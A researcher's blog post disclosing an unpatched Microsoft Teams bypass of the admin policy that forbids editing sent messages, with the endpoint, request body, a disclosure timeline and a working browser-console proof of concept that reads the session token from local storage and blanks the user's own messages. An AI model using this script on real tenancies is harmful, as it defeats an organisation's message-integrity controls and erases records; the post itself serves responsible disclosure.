Bypass Microsoft Teams Tenancy Permission - Edit Sent Messages

Home > Blog > Microsoft

[UNPATCHED] Edit Sent Messages - Teams Tenancy Bypass


Summary

Back in December 2019 I reported a Microsoft Teams Tenancy Permission bypass that allowed a user to modify their sent messages despite the global permission on the tenancy being set to denied. This did not qualify as a big enough security issue to be tracked under the MSRC program but was told it will be passed over to the relevant team to address. After a couple of years I retested my findings, to my surprise this is still an issue!

I had chased this with Microsoft on the 30th September this year and unfortunately, to this date, had no response to whether they plan on fixing this. Whilst this leaves a loss of integrity for businesses who enforce this policy and rely on data stored within chats for their tenancy, I feel 2 years is a reasonable time to fix this such issue therefor I'm disclosing the details to make organisations aware that this permission is in fact pretty redundant. The documented feature can be found here: https://docs.microsoft.com/en-us/microsoftteams/messaging-policies-in-teams

Microsoft Teams Tenancy Permission

The permission in question can be found within the Microsoft Teams Admin Center under Messaging policies

Disabling this feature will remove the "edit" button within the Desktop, Mobile and Web apps from the user interface.

Bypassing the rule

The bypass itself is straight forward. By submitting a POST request to a particular endpoint, including the MessageID, we are able to replace the contents of the message. To reproduce this you will need to know the following:

  1. ConversationID
    You can find this in the URL of the web app by going to a conversation. It will look similar to: (19:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx_xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx@unq.gbl.spaces).

  2. MessageID
    The unique ID for the teams messages. This can be pulled from the source of a web page or via an API call.

URL:
https://uk.ng.msg.teams.microsoft.com/v1/users/ME/conversations/${conversationid}/messages

Request:
POST

Headers:
authentication: skypetoken=${token}
content-type: application/json

Data:
{"content":" ","messagetype":"Text","contenttype":"text","amsreferences":[],"clientmessageid":${messageid},"imdisplayname":"","properties":{"importance":"","subject":""}}

I've prepared a quick PoC that gathers the first 200 messages of a conversation and replaces all messages the authenticated user has sent with a space. Simply navigate to a conversation in your teams tenancy via "teams.microsoft.com" and open Developer Tools. Navigate to your console and paste the below code.


var conversationid = $('calling-start-button-with-dropdown-v2').attr('conversation-id'); var url = `https://uk.ng.msg.teams.microsoft.com/v1/users/ME/conversations/${conversationid}/messages` var token = ''; function cleanConvo() { var qs = '?view=msnp24Equivalent|supportsMessageProperties&pageSize=200&startTime=1' for (const [key, value] of Object.entries(window.localStorage)) { if (key.endsWith('skype.token')) { token = JSON.parse(value).skypeToken } } var messages = []; fetch(url + qs, { headers: { 'authentication': 'skypetoken=' + token } }).then(response => response.json()).then(data => action(data)); } function action(data) { var name = JSON.parse(localStorage.getItem("msal.activeUserProfile")).name; f = 0; for (let i = 1; i < data.messages.length; ++i) { if (data.messages[i].imdisplayname == name) { f += 1; setDelay(f); } } function setDelay(i) { setTimeout( function() { var payload = { "content": " ", "messagetype": "Text", "contenttype": "text", "amsreferences": [], "clientmessageid": data.messages[i].id, "imdisplayname": "", "properties": { "importance": "", "subject": "" } }; fetch(url, { method: 'POST', headers: { 'authentication': 'skypetoken=' + token }, body: JSON.stringify(payload) }) }, i * 1000); } } cleanConvo()

Running the above script will show similar behaviour to this:


Timeline

Whilst I've helped Microsoft in the past regarding the security of some web applications, this experience has been quite disappointing. Here's the timeline:

  • 19/12/2019 - Initial Report to Microsoft. Report Ref: #55506
  • 20/12/2019 - Report closed as MITM / Self issue - Triager did not read the report correctly. Response:
    Sorry, I might have missed that. I will have another look.
  • 20/12/2019 - Re-Reported to Microsoft. Report Ref: #55553
  • 20/12/2019 - Report closed as duplicate - Response:
    Thank you again for your submission to MSRC. Our engineers have investigated the report and we have informed the appropriate team about the issues you reported. However, this case does not meet the bar for servicing by MSRC and we will be closing this case.
  • 25/09/2021 - Reached out to Microsoft to confirm why the original report was closed and asked if they would be addressing the issue. The case manager got in touch but ignored and never replied to the "will you be fixing this?" question.

Comments

about me

27 year old multistack developer & security researcher based in Gosport, UK. I like to blog about interesting vulnerabilities I come across, when allowed 🙄